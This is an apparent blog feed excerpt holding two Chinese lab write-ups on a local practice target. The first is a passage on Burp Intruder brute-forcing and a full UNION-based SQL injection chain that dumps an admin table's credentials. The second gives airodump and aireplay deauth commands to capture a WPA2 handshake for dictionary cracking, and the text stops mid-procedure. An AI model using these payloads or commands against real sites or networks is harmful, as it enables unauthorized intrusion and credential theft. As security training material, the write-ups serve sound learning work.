<p>（3）选择需要爆破的内容（给需要爆破的地方加上<code>$</code>符号）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/add.png" alt="" width="2879" height="1702" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/add-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/add-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/add-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/add-xl.webp 1024w"></figure>
<p>（4）选择攻击模式（为了演示的方便，所以我会手动配置用户名字典，并选择自带的密码来爆破）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Ping-Mu-Jie-Tu-2026-03-24-221527.png" alt="" width="2879" height="1699" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-221527-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-221527-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-221527-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-221527-xl.webp 1024w"></figure>
<p>考虑到我们目前不知道用户名也不知道密码，所以这里我们使用这个模式</p>
<p>不同的爆破模式解释，如下表</p>
<table style="border-collapse: collapse; width: 99.8575%; height: 420px;" border="1">
<tbody>
<tr style="height: 56.3438px;">
<th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" style="width: 29.6565%; height: 56.3438px;" scope="col">攻击类型</th>
<th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" style="width: 34.5276%; height: 56.3438px;" scope="col">说明</th>
<th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" style="width: 35.817%; height: 56.3438px;" scope="col">适用场景</th>
</tr>
<tr style="height: 102.562px;">
<td style="width: 29.6565%; height: 102.562px;">Sniper (狙击手)</td>
<td style="width: 34.5276%; height: 102.562px;"> 一个字典，逐个位置替换</td>
<td style="width: 35.817%; height: 102.562px;"><strong data-path-to-node="5,1,3,0" data-index-in-node="0">探测漏洞</strong>：测单个参数是否有注入或爆破单账号密码</td>
</tr>
<tr style="height: 76.6562px;">
<td style="width: 29.6565%; height: 76.6562px;">Battering ram (攻城槌)</td>
<td style="width: 34.5276%; height: 76.6562px;">一个字典，同时替换所有位置</td>
<td style="width: 35.817%; height: 76.6562px;"><strong data-path-to-node="5,2,3,0" data-index-in-node="0">同步填充</strong>：账号和密码必须<strong data-path-to-node="5,2,3,0" data-index-in-node="12">一模一样</strong>时使用</td>
</tr>
<tr style="height: 47.359px;">
<td style="width: 29.6565%; height: 47.359px;">Pitchfork (草叉)</td>
<td style="width: 34.5276%; height: 47.359px;">多个字典，同步替换</td>
<td style="width: 35.817%; height: 47.359px;">
<p> <strong data-path-to-node="5,3,3,0" data-index-in-node="0">定向爆破</strong>：你有已知的“账号:密码”<strong data-path-to-node="5,3,3,0" data-index-in-node="17">成对名单</strong></p>
</td>
</tr>
<tr style="height: 75.5625px;">
<td style="width: 29.6565%; height: 75.5625px;">Cluster bomb(集束炸弹)</td>
<td style="width: 34.5276%; height: 75.5625px;">多个字典，全排列组合</td>
<td style="width: 35.817%; height: 75.5625px;"><strong data-path-to-node="5,4,3,0" data-index-in-node="0">全方位爆破</strong>：完全不知道对应关系，尝试<strong data-path-to-node="5,4,3,0" data-index-in-node="18">所有组合</strong></td>
</tr>
</tbody>
</table>
<h6 class="align-center"><strong data-path-to-node="8,2,0" data-index-in-node="0">这里我们的判断是账号密码都不知道，先尝试死磕：</strong> 用 <strong data-path-to-node="8,2,0" data-index-in-node="16">Cluster bomb模式</strong></h6>
<h6>步骤三：添加爆破参数</h6>
<p>（1）Payload 1（用户名位置）自己添加用户名字典</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Zi-Ji-Tian-Jia-1-2.png" alt="" width="2879" height="1704" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-1-2-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-1-2-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-1-2-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-1-2-xl.webp 1024w"></figure>
<p><code>*注意：</code>组合数量会随字典增大呈爆炸式增长，所以这里我就仅仅添加几个常见的用户名作为演示</p>
<p>（2）Payload 2（密码位置）选择默认的Password字典</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Zi-Ji-Tian-Jia-2.png" alt="" width="2879" height="1706" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-2-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-2-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-2-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-2-xl.webp 1024w"></figure>
<p>（3）点击 Start attack 开始爆破（下图为爆破成功的截图）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Ping-Mu-Jie-Tu-2026-03-24-223544.png" alt="" width="2879" height="1703" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-223544-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-223544-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-223544-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-223544-xl.webp 1024w"></figure>
<p>在 Web 安全测试中，绝大多数请求都会失败，所以<strong data-path-to-node="1" data-index-in-node="25">我们要找的是那个“与众不同”的请求</strong>（通常主要看以下几个方面：Length，Status code，Response received / Error中）</p>
<p>含义解释：</p>
<table style="width: 99.5726%; height: 357.248px;" data-path-to-node="3">
<thead>
<tr style="height: 48.5625px;">
<td style="width: 31.9544%; height: 48.5625px;"><strong>指标名称</strong></td>
<td style="width: 21.398%; height: 48.5625px;"><strong>观察重点</strong></td>
<td style="width: 46.6476%; height: 48.5625px;"><strong>核心目的 (看它代表什么)</strong></td>
</tr>
</thead>
<tbody>
<tr style="height: 102.562px;">
<td style="width: 31.9544%; height: 102.562px;">Length (长度)</td>
<td style="width: 21.398%; height: 102.562px;"><span data-path-to-node="3,1,1,0"><strong data-path-to-node="3,1,1,0" data-index-in-node="0">找数值突变</strong></span></td>
<td style="width: 46.6476%; height: 102.562px;"><span data-path-to-node="3,1,2,0">判断<strong data-path-to-node="3,1,2,0" data-index-in-node="2">页面内容</strong>是否变化：数值不同说明服务器返回了不同的信息（如成功 vs 失败）</span></td>
</tr>
<tr style="height: 103.562px;">
<td style="width: 31.9544%; height: 103.562px;">Status Code (状态码)</td>
<td style="width: 21.398%; height: 103.562px;"><span data-path-to-node="3,2,1,0"><strong data-path-to-node="3,2,1,0" data-index-in-node="0">找 302 / 200</strong></span></td>
<td style="width: 46.6476%; height: 103.562px;"><span data-path-to-node="3,2,2,0">判断<strong data-path-to-node="3,2,2,0" data-index-in-node="2">请求状态</strong>：出现 <code data-path-to-node="3,2,2,0" data-index-in-node="10">302</code> 通常代表登录成功并跳转；出现 <code data-path-to-node="3,2,2,0" data-index-in-node="29">403/429</code> 说明你被封 IP 了</span></td>
</tr>
<tr style="height: 102.562px;">
<td style="width: 31.9544%; height: 102.562px;"><span data-path-to-node="3,3,0,0">Response (响应耗时)</span></td>
<td style="width: 21.398%; height: 102.562px;"><span data-path-to-node="3,3,1,0"><strong data-path-to-node="3,3,1,0" data-index-in-node="0">找异常延迟</strong></span></td>
<td style="width: 46.6476%; height: 102.562px;"><span data-path-to-node="3,3,2,0">判断<strong data-path-to-node="3,3,2,0" data-index-in-node="2">服务器逻辑</strong>：在盲注或特定防御下，正确的 Payload 可能会让服务器处理时间明显变长</span></td>
</tr>
</tbody>
</table>
<p>接下来，这里我们选择的是 <strong>Length </strong>选项，也就是不同的行（如下图所示，找最特殊的那一个）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/uibl.png" alt="" width="2879" height="1711" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/uibl-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/uibl-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/uibl-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/uibl-xl.webp 1024w"></figure>
<p>可是我们这里并没有找到合适的选项（也就说明了这个password字典里并没有我们需要的正确的密码）所以需要尝试另一种思路</p>
<h4 class="align-center">思路二：主动寻找注入漏洞，使用Union联合查询注入</h4>
<h5>注入原理简介</h5>
<p>Union 注入是 SQL 注入中最经典的一种方式。当网站后端直接将用户输入拼接进 SQL 语句时，攻击者可以通过构造 <code>UNION SELECT</code> 语句，将额外的查询结果"拼接"到原有结果中一起返回，从而读取数据库中任意表的内容</p>
<h5>整体思路</h5>
<ol>
<li>寻找注入点</li>
<li>判断注入类型（字符型 / 整数型）</li>
<li>确认查询列数（<code>order by</code>）</li>
<li>使用 Union 联合查询获取数据库信息</li>
<li>查询目标表的列名</li>
<li>读取目标数据</li>
</ol>
<h6>步骤一：发现注入点</h6>
<p>靶机首页有一个搜索框，随意输入内容后观察 URL 栏，发现搜索内容通过 <code>id</code> 参数传递</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Cha-Xun.png" alt="" width="2879" height="1614" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Cha-Xun-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Cha-Xun-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Cha-Xun-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Cha-Xun-xl.webp 1024w"></figure>
<p>在地址栏直接输入 <code>id=1</code>，页面正常返回了数据库中的一条记录，内容如下：</p>
<pre class="language-sql line-numbers"><code>array(6) { [0]=&gt; string(1) "1" ["id"]=&gt; string(1) "1" [1]=&gt; string(23) "SQL injection can occur" ["news"]=&gt; string(23) "SQL injection can occur" [2]=&gt; string(10) "2019-05-30" ["pub_date"]=&gt; string(10) "2019-05-30" }</code></pre>
<p>从返回结果可以判断，查询共返回了 3 个字段：<code>id</code>、<code>news</code>、<code>pub_date</code></p>
<p><code>*注意：</code>注入测试必须直接在浏览器地址栏输入 URL，不要通过搜索框输入，否则内容会被 URL 编码处理，影响注入效果</p>
<h6>步骤二：判断注入类型</h6>
<p>在地址栏分别输入以下两条语句，测试是否存在整数型注入</p>
<pre class="language-sql line-numbers"><code>192.168.153.139/search.php?id=1+and+1=1</code></pre>
<pre class="language-sql line-numbers"><code>192.168.153.139/search.php?id=1+and+1=2</code></pre>
<p><code>*核心思路</code>：用一个<strong>永真条件</strong>和一个<strong>永假条件</strong>做对比，根据结果不同间接证明我们写的代码被数据库执行了</p>
<table style="width: 99.5726%; height: 145.688px;">
<tbody>
<tr style="height: 48.5625px;">
<th class="align-left" style="width: 49.3581%; height: 48.5625px;">输入</th>
<th class="align-left" style="width: 50.6419%; height: 48.5625px;">结果</th>
</tr>
<tr style="height: 48.5625px;">
<td style="width: 49.3581%; height: 48.5625px;">id=1+and+1=1</td>
<td style="width: 50.6419%; height: 48.5625px;">正常返回数据 ✅</td>
</tr>
<tr style="height: 48.5625px;">
<td style="width: 49.3581%; height: 48.5625px;">id=1+and+1=2</td>
<td style="width: 50.6419%; height: 48.5625px;">返回 NULL</td>
</tr>
</tbody>
</table>
<p>两次结果不同，确认为<strong>整数型注入</strong>，不需要单引号（如果你分不清这个注入类型，以及这个基础的地址栏的信息咋判断，<a href="https://old.zeyun.org/sql_basic_knowledge.html">请点击我跳转基础知识补全</a>）</p>
<h6>步骤三：确认查询列数</h6>
<p>使用 <code>order by</code> 逐步测试列数，直到返回 NULL：</p>
<pre class="language-sql line-numbers"><code>192.168.153.139/search.php?id=1+order+by+1
192.168.153.139/search.php?id=1+order+by+2
192.168.153.139/search.php?id=1+order+by+3
192.168.153.139/search.php?id=1+order+by+4   ← 此处返回 NULL</code></pre>
<p>结果是，order by 4 返回 NULL，说明查询共有 <strong>3 列</strong></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/order4.png" alt="" width="2877" height="1605" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/order4-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/order4-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/order4-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/order4-xl.webp 1024w"></figure>
<h6>步骤四：查询当前数据库所有表名</h6>
<p>列数确认后，使用 <code>UNION SELECT</code> 联合查询，从 MySQL 系统表 <code>information_schema.tables</code> 中读取当前数据库的所有表名：</p>
<pre class="language-sql line-numbers"><code>192.168.153.139/search.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()</code></pre>
<table style="width: 97.8632%;">
<tbody>
<tr>
<th class="align-center" style="width: 21.1288%;">步骤</th>
<th class="align-center" style="width: 18.8133%;">目的</th>
<th class="align-center" style="width: 60.0579%;">关键语句</th>
</tr>
<tr>
<td class="align-center" style="width: 21.1288%;">查所有表名</td>
<td class="align-center" style="width: 18.8133%;">找目标表</td>
<td class="align-center" style="width: 60.0579%;"><code>union select ... from information_schema.tables</code></td>
</tr>
</tbody>
</table>
<p>参数解释：</p>
<table style="width: 98.1481%; height: 242.812px;">
<tbody>
<tr style="height: 48.5625px;">
<th class="align-center" style="width: 38.8017%; height: 48.5625px;">参数</th>
<th class="align-center" style="width: 61.1983%; height: 48.5625px;">作用</th>
</tr>
<tr style="height: 48.5625px;">
<td class="align-center" style="width: 38.8017%; height: 48.5625px;">id=-1</td>
<td class="align-center" style="width: 61.1983%; height: 48.5625px;">让原查询不返回结果，只显示 union 注入的内容</td>
</tr>
<tr style="height: 48.5625px;">
<td class="align-center" style="width: 38.8017%; height: 48.5625px;">group_concat(table_name)</td>
<td class="align-center" style="width: 61.1983%; height: 48.5625px;">将所有表名合并为一行显示</td>
</tr>
<tr style="height: 48.5625px;">
<td class="align-center" style="width: 38.8017%; height: 48.5625px;">information_schema.tables</td>
<td class="align-center" style="width: 61.1983%; height: 48.5625px;">MySQL 系统表，存储所有表的信息</td>
</tr>
<tr style="height: 48.5625px;">
<td class="align-center" style="width: 38.8017%; height: 48.5625px;">table_schema=database()</td>
<td class="align-center" style="width: 61.1983%; height: 48.5625px;">限定在当前数据库中查询</td>
</tr>
</tbody>
</table>
<p>查询后如下显示：</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/table.png" alt="" width="2879" height="1611" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/table-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/table-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/table-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/table-xl.webp 1024w"></figure>
<p>返回结果：<strong>admin, news</strong><br>当前数据库共有两张表，其中<code>admin</code>表就存放了我们需要的账号和密码</p>
<h6>步骤五：查询 admin 表的列名</h6>
<p>从 <code>information_schema.columns</code> 中读取 admin 表的所有字段名：</p>
<pre class="language-sql line-numbers"><code>192.168.153.139/search.php?id=-1+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='admin'</code></pre>
<table style="width: 98.2906%; height: 125.125px;">
<tbody>
<tr style="height: 48.5625px;">
<th class="align-center" style="width: 17.5617%; height: 48.5625px;">步骤</th>
<th class="align-center" style="width: 20.4602%; height: 48.5625px;">目的</th>
<th class="align-center" style="width: 61.9781%; height: 48.5625px;">关键语句</th>
</tr>
<tr style="height: 76.5625px;">
<td class="align-center" style="width: 17.5617%; height: 76.5625px;"> 查列名</td>
<td class="align-center" style="width: 20.4602%; height: 76.5625px;">找目标字段</td>
<td class="align-center" style="width: 61.9781%; height: 76.5625px;"><code>union select ... from information_schema.columns</code></td>
</tr>
</tbody>
</table>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/table2.png" alt="" width="2879" height="1614" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/table2-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/table2-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/table2-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/table2-xl.webp 1024w"></figure>
<p>返回结果：<strong>user_id, user_name, user_pass</strong>（我们需要的数据也就在如此）</p>
<h6>步骤六：读取 admin 表中的账号密码</h6>
<p>已知列名为 <code>user_name</code> 和 <code>user_pass</code>，所以这里我们直接查询：</p>
<pre class="language-sql line-numbers"><code>192.168.153.139/search.php?id=-1+union+select+1,group_concat(user_name,0x3a,user_pass),3+from+admin</code></pre>
<table style="width: 97.8632%;">
<tbody>
<tr>
<th class="align-center" style="width: 19.8288%;">步骤</th>
<th class="align-center" style="width: 26.5335%;">目的</th>
<th class="align-center" style="width: 53.7803%;">关键语句</th>
</tr>
<tr>
<td class="align-center" style="width: 19.8288%;">读取数据</td>
<td class="align-center" style="width: 26.5335%;">获取账号密码</td>
<td class="align-center" style="width: 53.7803%;"><code>union select ... from admin</code></td>
</tr>
</tbody>
</table>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/table3.png" alt="" width="2869" height="1610" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/table3-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/table3-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/table3-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/table3-xl.webp 1024w"></figure>
<p>返回结果：<strong>admin:admin@123</strong> 🎉<br>使用该账号密码成功登录后台</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Ping-Mu-Jie-Tu-2026-03-24-233620.png" alt="" width="2879" height="1605" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-233620-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-233620-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-233620-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-233620-xl.webp 1024w"></figure>
<p>Flag也成功找到了</p>
<h6 class="align-center">实验总结</h6>
<p>这次实验完整走了一遍 Union 注入的流程，最大的收获是理解了为什么要用 <code>id=-1</code>以及为什么列数必须对齐，加上<code>information_schema</code> 这个系统库在注入中的核心作用</p>
<p>另外就是操作上要注意：一定要直接在地址栏输入 URL，不能通过页面的搜索框，否则特殊字符会被编码成HTML显示的字符，注入语句就失效了</p>
<p class="align-center">至此，本实验到此结束</p>
            ]]>
        </content>
    </entry>
    <entry>
        <title>Kali Linux 抓取 WPA2 握手包并进行字典破解（实验记录）</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/kali_deciphering_wifi.html"/>
        <id>https://old.zeyun.org/kali_deciphering_wifi.html</id>
            <category term="网络工具介绍"/>

        <updated>2026-03-14T22:56:35+09:00</updated>
            <summary>
                <![CDATA[
                    免责声明 本文所有实验均在个人搭建的内网测试环境中进行，仅用于学习网络安全技术原理，请勿在未授权的网络环境中进行测试，否则可能涉及违法行为 设备要求 一台装有kali的机器（推荐使用虚拟机） 一个可以监听的网卡（我使用的是RT3070L无线网卡）&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <h4 class="align-center">免责声明</h4>
<h5 class="align-center">本文所有实验均在个人搭建的内网测试环境中进行，仅用于学习网络安全技术原理，请勿在未授权的网络环境中进行测试，否则可能涉及违法行为</h5>
<h4>设备要求</h4>
<ul>
<li>一台装有kali的机器（推荐使用虚拟机）</li>
<li>一个可以监听的网卡（我使用的是RT3070L无线网卡）</li>
</ul>
<h4>爆破原理解释</h4>
<p>先通过监听模式抓取 WPA2 网络（方法主要针对 WPA2 网络，对 WPA3 基本无效）在设备连接时产生的握手数据包（Handshake），然后利用密码字典对可能的密码逐个进行计算验证。如果计算结果与握手数据匹配，则说明该密码正确（这种方式属于字典暴力破解，因此破解成功率取决于字典内容和计算能力）</p>
<h4 data-start="580" data-end="589">破解流程大致如下</h4>
<ol>
<li>开启网卡监听模式</li>
<li>扫描周围 WiFi</li>
<li>抓取目标 WiFi 的握手包</li>
<li>使用密码字典进行离线破解</li>
<li>如果字典中的密码匹配成功，则得到 WiFi 密码</li>
</ol>
<h4 data-start="884" data-end="891">另外说明一点</h4>
<p data-start="893" data-end="917">Kali 自带的密码字典虽然很大，但有两个问题</p>
<ul>
<li data-start="893" data-end="917">破解速度会非常慢</li>
<li data-start="893" data-end="917">里面不一定包含测试 WiFi 的密码</li>
</ul>
<p>因此在本次实验中，我使用的是自己编写的密码字典 txt 文件</p>
<h4>准备工作</h4>
<h6>Stp1：首先确保在你的网卡连接上虚拟机，并处于监听状态</h6>
<p>使用以下命令查看</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/Ping-Mu-Jie-Tu-2026-03-14-220816.png" alt="" width="2137" height="1022" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-220816-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-220816-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-220816-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-220816-xl.webp 1024w"></figure>
<p>我这里是没有处于监听状态，使用如下命令开启监听</p>
<p>1.先关闭干扰进程</p>
<pre class="language-bash line-numbers"><code>sudo airmon-ng check kill</code></pre>
<p>2.启动监听模式</p>
<pre class="language-bash line-numbers"><code>sudo airmon-ng start wlan0</code></pre>
<p>3.验证是否成功</p>
<pre class="language-bash line-numbers"><code>iwconfig</code></pre>
<p>看到以下的显示，即为正确打开监听模式</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/Ping-Mu-Jie-Tu-2026-03-14-221908.png" alt="" width="2143" height="467" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-221908-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-221908-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-221908-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-221908-xl.webp 1024w"></figure>
<p>关闭监听模式（用完记得恢复）</p>
<pre class="language-bash line-numbers"><code>sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager</code></pre>
<h6>Stp2：在桌面新建一个文件夹，用于存放抓到的握手包以及密码字典</h6>
<p>1.创建文件夹（每个人的文件路径不同，之后的路径也不同，需要注意！）</p>
<pre class="language-bash line-numbers"><code>mkdir /home/kali/桌面/wifi_test</code></pre>
<p>2.创建密码字典</p>
<pre class="language-bash line-numbers"><code>touch /home/kali/桌面/wifi_test/password.txt</code></pre>
<p>3.编辑你自己的密码字典(确保里面有需要爆破的WiFi密码)</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/password.png" alt="" width="851" height="590" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/password-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/password-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/password-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/password-xl.webp 1024w"></figure>
<h4>实战开始</h4>
<h6>Stp1：扫描周围 WiFi</h6>
<p>使用如下命令扫描附近无线网络</p>
<pre class="language-bash line-numbers"><code>sudo airodump-ng wlan0mon</code></pre>
<p>会看到以下情景（下图框选的是本次爆破的 WiFi 名称）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/ceuiwifi.png" alt="" width="2137" height="1021" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/ceuiwifi-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/ceuiwifi-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/ceuiwifi-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/ceuiwifi-xl.webp 1024w"></figure>
<p>需要记录两个信息：BSSID，ESSID，CH（可以复制到一个你记得住的地方，一会要用）</p>
<p>记录完成后按，<code>Ctrt + C </code>结束扫描</p>
<h6>Stp2：开始抓取握手包</h6>
<p>输入以下命令，开始抓包</p>
<pre class="language-bash line-numbers"><code>sudo airodump-ng -c 换成你的信道的数字 --bssid 这里替换成你的BSSID -w /home/kali/桌面/wifi_test/handshake wlan0mon</code></pre>
<p>参数解释：</p>
<table>
<thead>
<tr>
<th>参数</th>
<th>作用</th>
</tr>
</thead>
<tbody>
<tr>
<td>-c</td>
<td>指定信道</td>
</tr>
<tr>
<td>--bssid</td>
<td>目标 WiFi 的 MAC 地址</td>
</tr>
<tr>
<td>-w</td>
<td>抓包文件保存路径</td>
</tr>
</tbody>
</table>
<p>如果成功捕获到 WAP 握手包，界面上会出现下图的情况</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/hex-2.png" alt="" width="2132" height="559" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/hex-2-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/hex-2-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/hex-2-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/hex-2-xl.webp 1024w"></figure>
<p>出现上图的 WAP 的信息后，说明抓包成功</p>
<p>也可以和我下图一样，在刚刚创建的文件夹里打开终端</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/Ping-Mu-Jie-Tu-2026-03-14-234238.png" alt="" width="1286" height="962" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-234238-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-234238-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-234238-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-234238-xl.webp 1024w"></figure>
<h6>原理解释</h6>
<p data-start="134" data-end="209">当设备连接到 <strong data-start="141" data-end="154">WPA2 WiFi</strong> 时，客户端与路由器之间会进行一次认证过程，这个过程叫做 <strong data-start="183" data-end="208">4-Way Handshake（四次握手）</strong></p>
<p data-start="211" data-end="225">简单来说，这个过程的作用是：</p>
<ul>
<li data-start="229" data-end="249">验证客户端是否知道正确的 WiFi 密码</li>
<li data-start="252" data-end="265">同时生成通信所需的加密密钥</li>
</ul>
<p data-start="267" data-end="276">整个流程大致如下：</p>
<ol>
<li data-start="281" data-end="293">路由器向客户端发送随机数</li>
<li data-start="297" data-end="326">客户端根据 <strong data-start="303" data-end="319">WiFi密码 + 随机数</strong> 计算认证信息</li>
<li data-start="330" data-end="344">客户端把计算结果发送给路由器</li>
<li data-start="348" data-end="357">路由器验证是否正确</li>
</ol>
<p data-start="359" data-end="383">如果计算结果正确，设备就可以成功连接 WiFi</p>
<p data-start="385" data-end="430">在这个过程中，会产生一些认证数据包，这些数据包就是 <strong data-start="411" data-end="429">Handshake（握手包）</strong></p>
<p data-start="457" data-end="466">需要注意的一点是：</p>
<p data-start="468" data-end="508">握手包 <strong data-start="472" data-end="490">不会直接包含 WiFi 密码</strong>，但它包含了用于验证密码的认证数据</p>
<p>如果你和我一样，等了很久，都没有出现WPA的相关信息，可以强制设备重新连接来获取</p>
<h6>强制设备重新连接（如果没抓到包的可以做，之前抓到了，可以跳过此步骤）</h6>
<p>如果一直抓不到握手包，可以使用 <strong data-start="1866" data-end="1879">deauth 攻击</strong>让设备重新连接</p>
<p><code>Ctrl + Shift + T </code>新开一个终端，输入以下命令：</p>
<pre class="language-bash line-numbers"><code>sudo aireplay-ng -0 10 -a 换成你BSSID的地址 wlan0mon</code></pre>
